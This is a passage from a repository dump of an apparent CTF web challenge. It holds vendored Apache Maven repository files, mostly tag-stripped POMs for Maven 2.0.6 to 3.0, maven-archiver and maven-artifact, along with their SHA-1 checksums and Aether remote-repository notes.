maven-artifact-manager ${mavenVersion} org.apache.maven maven-artifact-test ${mavenVersion} org.apache.maven maven-settings ${mavenVersion} org.apache.maven maven-plugin-parameter-documenter ${mavenVersion} org.apache.maven maven-profile ${mavenVersion} org.apache.maven maven-plugin-registry ${mavenVersion} org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-monitor ${mavenVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.4.1 org.apache.maven.wagon wagon-provider-api 1.0-beta-2 org.apache.maven.wagon wagon-ssh 1.0-beta-2 org.apache.maven.wagon wagon-ssh-external 1.0-beta-2 org.apache.maven.wagon wagon-file 1.0-beta-2 org.apache.maven.wagon wagon-http-lightweight 1.0-beta-2 easymock easymock 1.2_Java1.3 test classworlds classworlds 1.1 apache.website scp://people.apache.org/www/maven.apache.org/ref/${project.version}/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.6/maven-2.0.6.pom.sha1 ================================================ 1991be0ed3e1820e135201406d5acabf8c08d426 maven-2.0.6.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:08 CST 2018 maven-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.9/maven-2.0.9.pom ================================================ 4.0.0 org.apache.maven maven-parent 8 ../pom/maven/pom.xml maven 2.0.9 pom Maven Maven is a project development management and comprehension tool. Based on the concept of a project object model: builds, dependency management, documentation creation, site publication, and distribution publication are all controlled from the declarative file. Maven can be extended by plugins to utilise a number of other development tools for reporting or the build process. http://maven.apache.org 2001 jira http://jira.codehaus.org/browse/MNG Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://www.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://www.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://www.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.9 scm:svn:https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.9 https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.9 org.apache.maven.plugins maven-jar-plugin 2.1 org.apache.maven.plugins maven-compiler-plugin 2.0.2 maven-javadoc-plugin 2.4 maven-assembly-plugin 2.2-beta-1 maven-shade-plugin 1.0 maven-surefire-plugin 2.3 maven-deploy-plugin 2.3 maven-install-plugin 2.1 maven-site-plugin 2.0-beta-5 maven-resources-plugin 2.2 maven-remote-resources-plugin 1.0-beta-2 maven-clean-plugin 2.1.1 maven-release-plugin 2.0-beta-7 https://svn.apache.org/repos/asf/maven/components/tags true org.codehaus.modello modello-maven-plugin 1.0-alpha-13 site-docs pre-site xdoc xsd standard java xpp3-reader xpp3-writer maven-artifact maven-artifact-manager maven-artifact-test maven-core maven-error-diagnostics maven-model maven-monitor maven-plugin-api maven-plugin-descriptor maven-plugin-parameter-documenter maven-plugin-registry maven-profile maven-project maven-reporting maven-repository-metadata maven-script maven-settings maven-toolchain apache-maven junit junit 3.8.1 test 2.0.9 org.apache.maven maven-plugin-descriptor ${mavenVersion} org.apache.maven maven-error-diagnostics ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven.reporting maven-reporting-api ${mavenVersion} org.apache.maven maven-repository-metadata ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-artifact-manager ${mavenVersion} org.apache.maven maven-artifact-test ${mavenVersion} org.apache.maven maven-settings ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven maven-toolchain ${mavenVersion} org.apache.maven maven-plugin-parameter-documenter ${mavenVersion} org.apache.maven maven-profile ${mavenVersion} org.apache.maven maven-plugin-registry ${mavenVersion} org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-monitor ${mavenVersion} org.apache.maven maven-toolchain ${mavenVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.1 org.apache.maven.wagon wagon-provider-api 1.0-beta-2 org.apache.maven.wagon wagon-ssh 1.0-beta-2 org.apache.maven.wagon wagon-ssh-external 1.0-beta-2 org.apache.maven.wagon wagon-file 1.0-beta-2 org.apache.maven.wagon wagon-webdav 1.0-beta-2 org.apache.maven.wagon wagon-http-lightweight 1.0-beta-2 easymock easymock 1.2_Java1.3 test classworlds classworlds 1.1 apache.website scp://people.apache.org/www/maven.apache.org/ref/${project.version}/ release maven-assembly-plugin false src/main/assembly/src.xml gnu maven-${project.version}-src make-assembly package single run-its maven-core-it-runner reporting-aggregate org.apache.maven.plugins maven-jxr-plugin true org.apache.maven.plugins maven-javadoc-plugin http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.9/maven-2.0.9.pom.sha1 ================================================ 696e3d1eaf254c63347613715faa31e5eecb282d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:35 CST 2018 maven-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.2.1/maven-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven-parent 11 ../pom/maven/pom.xml maven 2.2.1 pom Maven Maven is a project development management and comprehension tool. Based on the concept of a project object model: builds, dependency management, documentation creation, site publication, and distribution publication are all controlled from the declarative file. Maven can be extended by plugins to utilise a number of other development tools for reporting or the build process. http://maven.apache.org 2001 jira http://jira.codehaus.org/browse/MNG Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://www.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://www.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://www.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/maven-2/tags/maven-2.2.1 scm:svn:https://svn.apache.org/repos/asf/maven/maven-2/tags/maven-2.2.1 http://svn.apache.org/viewvc/maven/maven-2/tags/maven-2.2.1 org.apache.maven.plugins maven-jar-plugin 2.1 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.5 1.5 maven-assembly-plugin 2.2-beta-4 maven-shade-plugin 1.0 maven-surefire-plugin 2.3 maven-deploy-plugin 2.3 maven-install-plugin 2.1 maven-site-plugin 2.0 maven-resources-plugin 2.2 maven-remote-resources-plugin 1.0-beta-2 maven-clean-plugin 2.1.1 maven-release-plugin 2.0-beta-7 https://svn.apache.org/repos/asf/maven/maven-2/tags true install org.codehaus.modello modello-maven-plugin 1.0.1 true site-docs pre-site xdoc xsd standard java xpp3-reader xpp3-writer org.codehaus.mojo clirr-maven-plugin 2.2.1 2.2.0 org/apache/maven/artifact/manager/WagonManager* org/apache/maven/extension/ExtensionManager* org/apache/maven/plugin/PluginManager* maven-enforcer-plugin 1.0-alpha-4 enforce-jdk enforce [1.5.0,] true maven-artifact maven-artifact-manager maven-artifact-test maven-compat maven-core maven-error-diagnostics maven-model maven-monitor maven-plugin-api maven-plugin-descriptor maven-plugin-parameter-documenter maven-plugin-registry maven-profile maven-project maven-reporting maven-repository-metadata maven-script maven-settings maven-toolchain apache-maven 2.2.1 1.0-beta-6 1.1 junit junit 3.8.1 test org.apache.maven maven-plugin-descriptor ${mavenVersion} org.apache.maven maven-error-diagnostics ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven.reporting maven-reporting-api ${mavenVersion} org.apache.maven maven-repository-metadata ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-artifact-manager ${mavenVersion} org.apache.maven maven-artifact-test ${mavenVersion} org.apache.maven maven-settings ${mavenVersion} org.apache.maven maven-compat ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven maven-plugin-parameter-documenter ${mavenVersion} org.apache.maven maven-profile ${mavenVersion} org.apache.maven maven-plugin-registry ${mavenVersion} org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-monitor ${mavenVersion} org.apache.maven maven-toolchain ${mavenVersion} commons-cli commons-cli 1.2 org.apache.maven.doxia doxia-sink-api ${doxiaVersion} org.apache.maven.doxia doxia-logging-api ${doxiaVersion} org.codehaus.plexus plexus-interpolation 1.11 org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.15 org.sonatype.plexus plexus-sec-dispatcher 1.3 org.apache.maven.wagon wagon-provider-api ${wagonVersion} org.apache.maven.wagon wagon-ssh ${wagonVersion} org.apache.maven.wagon wagon-ssh-external ${wagonVersion} org.apache.maven.wagon wagon-file ${wagonVersion} org.apache.maven.wagon wagon-webdav-jackrabbit ${wagonVersion} org.apache.maven.wagon wagon-http ${wagonVersion} org.apache.maven.wagon wagon-http-lightweight ${wagonVersion} org.slf4j slf4j-jdk14 1.5.6 org.slf4j jcl-over-slf4j 1.5.6 backport-util-concurrent backport-util-concurrent 3.1 easymock easymock 1.2_Java1.3 test classworlds classworlds 1.1 apache.website scp://people.apache.org/www/maven.apache.org/ref/${project.version}/ quality-checks org.codehaus.mojo clirr-maven-plugin clirr-check verify check release org.codehaus.mojo clirr-maven-plugin check run-its maven-core-it-runner reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.1.1 org.codehaus.mojo clirr-maven-plugin reporting-aggregate org.apache.maven.plugins maven-project-info-reports-plugin 2.1.1 org.apache.maven.plugins maven-jxr-plugin 2.1 true ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.2.1/maven-2.2.1.pom.sha1 ================================================ 7bc311044fbacb404de025b76feefa3567f0e5d7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:05 CST 2018 maven-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/3.0/maven-3.0.pom ================================================ 4.0.0 org.apache.maven maven-parent 15 ../pom/maven/pom.xml maven 3.0 pom Apache Maven 3.x Maven is a project development management and comprehension tool. Based on the concept of a project object model: builds, dependency management, documentation creation, site publication, and distribution publication are all controlled from the declarative file. Maven can be extended by plugins to utilise a number of other development tools for reporting or the build process. http://maven.apache.org/ 2001 2.2.3 1.2 1.2_Java1.3 3.8.2 1.5.5 1.14 2.0.4 1.4.2 1.0-beta-6 1.3 1.4 1.4 1.3 1.7 true Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://old.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ maven-core apache-maven maven-model maven-settings maven-settings-builder maven-artifact maven-aether-provider maven-repository-metadata maven-plugin-api maven-model-builder maven-embedder maven-compat scm:svn:http://svn.apache.org/repos/asf/maven/maven-3/tags/maven-3.0 scm:svn:https://svn.apache.org/repos/asf/maven/maven-3/tags/maven-3.0 http://svn.apache.org/viewvc/maven/maven-3/tags/maven-3.0 jira http://jira.codehaus.org/browse/MNG apache.website scp://people.apache.org/www/maven.apache.org/ref/${project.version}/ org.apache.maven maven-model ${project.version} org.apache.maven maven-settings ${project.version} org.apache.maven maven-settings-builder ${project.version} org.apache.maven maven-plugin-api ${project.version} org.apache.maven maven-embedder ${project.version} org.apache.maven maven-core ${project.version} org.apache.maven maven-model-builder ${project.version} org.apache.maven maven-compat ${project.version} org.apache.maven maven-artifact ${project.version} org.apache.maven maven-aether-provider ${project.version} org.apache.maven maven-repository-metadata ${project.version} org.codehaus.plexus plexus-utils ${plexusUtilsVersion} org.sonatype.sisu sisu-inject-plexus ${sisuInjectVersion} org.codehaus.plexus plexus-component-annotations ${plexusVersion} junit junit org.codehaus.plexus plexus-classworlds ${classWorldsVersion} org.codehaus.plexus plexus-interpolation ${plexusInterpolationVersion} org.apache.maven.wagon wagon-provider-api ${wagonVersion} org.apache.maven.wagon wagon-file ${wagonVersion} org.apache.maven.wagon wagon-http-lightweight ${wagonVersion} org.sonatype.aether aether-api ${aetherVersion} org.sonatype.aether aether-impl ${aetherVersion} org.sonatype.aether aether-util ${aetherVersion} org.sonatype.aether aether-connector-wagon ${aetherVersion} org.codehaus.plexus plexus-container-default commons-cli commons-cli ${commonsCliVersion} commons-lang commons-lang commons-logging commons-logging commons-jxpath commons-jxpath ${jxpathVersion} org.sonatype.plexus plexus-sec-dispatcher ${securityDispatcherVersion} org.sonatype.plexus plexus-cipher ${cipherVersion} easymock easymock ${easyMockVersion} test junit junit ${junitVersion} test org.codehaus.plexus plexus-component-metadata ${plexusVersion} generate-metadata generate-test-metadata org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.5 1.5 maven-release-plugin https://svn.apache.org/repos/asf/maven/maven-3/tags true maven-surefire-plugin -Xmx256m org.codehaus.modello modello-maven-plugin ${modelloVersion} true site-docs pre-site xdoc xsd standard java xpp3-reader xpp3-writer org.apache.felix maven-bundle-plugin 1.0.0 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-5 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-resources-plugin 2.4.2 org.apache.maven.plugins maven-remote-resources-plugin 1.1 org.apache.maven.plugins maven-site-plugin 2.1 org.codehaus.mojo animal-sniffer-maven-plugin 1.6 org.codehaus.mojo.signature java15 1.0 check-java-1.5-compat process-classes check apache-release maven-assembly-plugin source-release-assembly true reporting maven-javadoc-plugin 2.5 maven-pmd-plugin 1.5 org.codehaus.mojo cobertura-maven-plugin 2.2 maven-repo-local maven.repo.local maven-surefire-plugin maven.repo.local ${maven.repo.local} m2e target m2e.version ${m2BuildDirectory} org.maven.ide.eclipse lifecycle-mapping 0.10.0 customizable org.apache.maven.plugins:maven-resources-plugin:: ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/3.0/maven-3.0.pom.sha1 ================================================ 30c961aaf964aadcc028102ebe03d1afff324ec0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-aether-provider-3.0.jar>central= maven-aether-provider-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.jar.sha1 ================================================ 419f5eb63cf743a1a0f2a80ea5dde37fd1a4fec0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-aether-provider Maven Aether Provider This module provides extensions to Aether for utilizing the Maven POM and Maven metadata. org.apache.maven maven-model-builder org.apache.maven maven-repository-metadata org.sonatype.aether aether-api org.sonatype.aether aether-util org.sonatype.aether aether-impl org.codehaus.plexus plexus-component-annotations org.codehaus.plexus plexus-component-metadata ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.pom.sha1 ================================================ a3e7fa0d4d0d26f901c919173681bab824c5588c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-archiver-2.4.2.jar>central= maven-archiver-2.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/maven-archiver-2.4.2.jar.sha1 ================================================ ddcb393749701eb292a263a3500db69df39aef43 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/maven-archiver-2.4.2.pom ================================================ 4.0.0 org.apache.maven.shared maven-shared-components 16 ../maven-shared-components/pom.xml org.apache.maven maven-archiver 2.4.2 Maven Archiver Provides utility methods for creating JARs and other archive files from a Maven project. ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.4.2 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.4.2 http://svn.apache.org/viewvc/maven/shared/tags/maven-archiver-2.4.2 jira http://jira.codehaus.org/browse/MSHARED/component/13268 2.0.6 org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} provided org.apache.maven maven-artifact-manager org.codehaus.plexus plexus-archiver 2.0.1 org.codehaus.plexus plexus-utils 3.0 org.codehaus.plexus plexus-interpolation 1.13 junit junit 3.8.2 test maven-changes-plugin 2.0-beta-3 %URL%/%ISSUE% changes-report ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/maven-archiver-2.4.2.pom.sha1 ================================================ 5529ed1bd724ba24d7d170e77e36d7277fefe6a1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:19 CST 2018 maven-archiver-2.5.jar>central= maven-archiver-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/maven-archiver-2.5.jar.sha1 ================================================ c999ae305f22ecfc5a000dca12a39b9491778bd5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/maven-archiver-2.5.pom ================================================ 4.0.0 org.apache.maven.shared maven-shared-components 17 ../maven-shared-components/pom.xml org.apache.maven maven-archiver 2.5 Maven Archiver Provides utility methods for creating JARs and other archive files from a Maven project. ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.5 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.5 http://svn.apache.org/viewvc/maven/shared/tags/maven-archiver-2.5 jira http://jira.codehaus.org/browse/MSHARED/component/13268 2.0.6 org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} provided org.apache.maven maven-artifact-manager org.apache.maven maven-core ${mavenVersion} org.codehaus.plexus plexus-archiver 2.1 org.codehaus.plexus plexus-utils 3.0 org.codehaus.plexus plexus-interpolation 1.15 junit junit 3.8.2 test org.apache.maven.plugins maven-compiler-plugin 1.5 1.5 maven-changes-plugin 2.0-beta-3 %URL%/%ISSUE% changes-report ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/maven-archiver-2.5.pom.sha1 ================================================ a46a65782b96c7624c0ff64b50a91ba2935d84f6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-artifact-2.0.6.pom>central= maven-artifact-2.0.6.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.jar.sha1 ================================================ fcbf6e26a6d26ecaa25c199b6f16bf168b2f28dc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-artifact Maven Artifact org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.pom.sha1 ================================================ 973c14299a051daf4e767cc60f15788b50c887f2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 maven-artifact-2.0.9.pom>central= maven-artifact-2.0.9.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/maven-artifact-2.0.9.jar.sha1 ================================================ 66f0c8baa789fffdf54924cf395b26bbc2130435 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/maven-artifact-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-artifact Maven Artifact org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.9/maven-artifact-2.0.9.pom.sha1 ================================================ ffc6bb3eabd75a28d704e0431e7a44e7b4dff9bd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:18 CST 2018 maven-artifact-2.2.1.jar>central= maven-artifact-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.jar.sha1 ================================================ 23600f790d4dab2cb965419eaa982e3e84c428f8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-artifact Maven Artifact org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.pom.sha1 ================================================ e37430ef3c3ee1d33817fdb45a0e538f49932c0a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-artifact-3.0.jar>central= maven-artifact-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.jar.sha1 ================================================ c29cfa43ce2ba09975a07c40d7241655d7c2fa29 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-artifact Maven Artifact org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-component-metadata org.apache.maven.plugins maven-compiler-plugin 1.5 1.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.pom.sha1 ================================================ 6823c7ad1a5557c2f96bd2fd312948513af8e524 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-artifact-manager-2.0.6.jar>central= maven-artifact-manager-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.jar.sha1 ================================================ dc326c3a989c10618e09a7b77cadeff297591942 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-artifact-manager Maven Artifact Manager org.apache.maven maven-repository-metadata org.apache.maven.wagon wagon-file test org.codehaus.plexus plexus-utils org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default org.apache.maven.wagon wagon-provider-api easymock easymock 1.2_Java1.3 test maven-surefire-plugin **/testutils/** ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.pom.sha1 ================================================ 8cb8b1dc4d9f7fbd90be4e9c8e9a1d353e28666c ================================================ FILE: 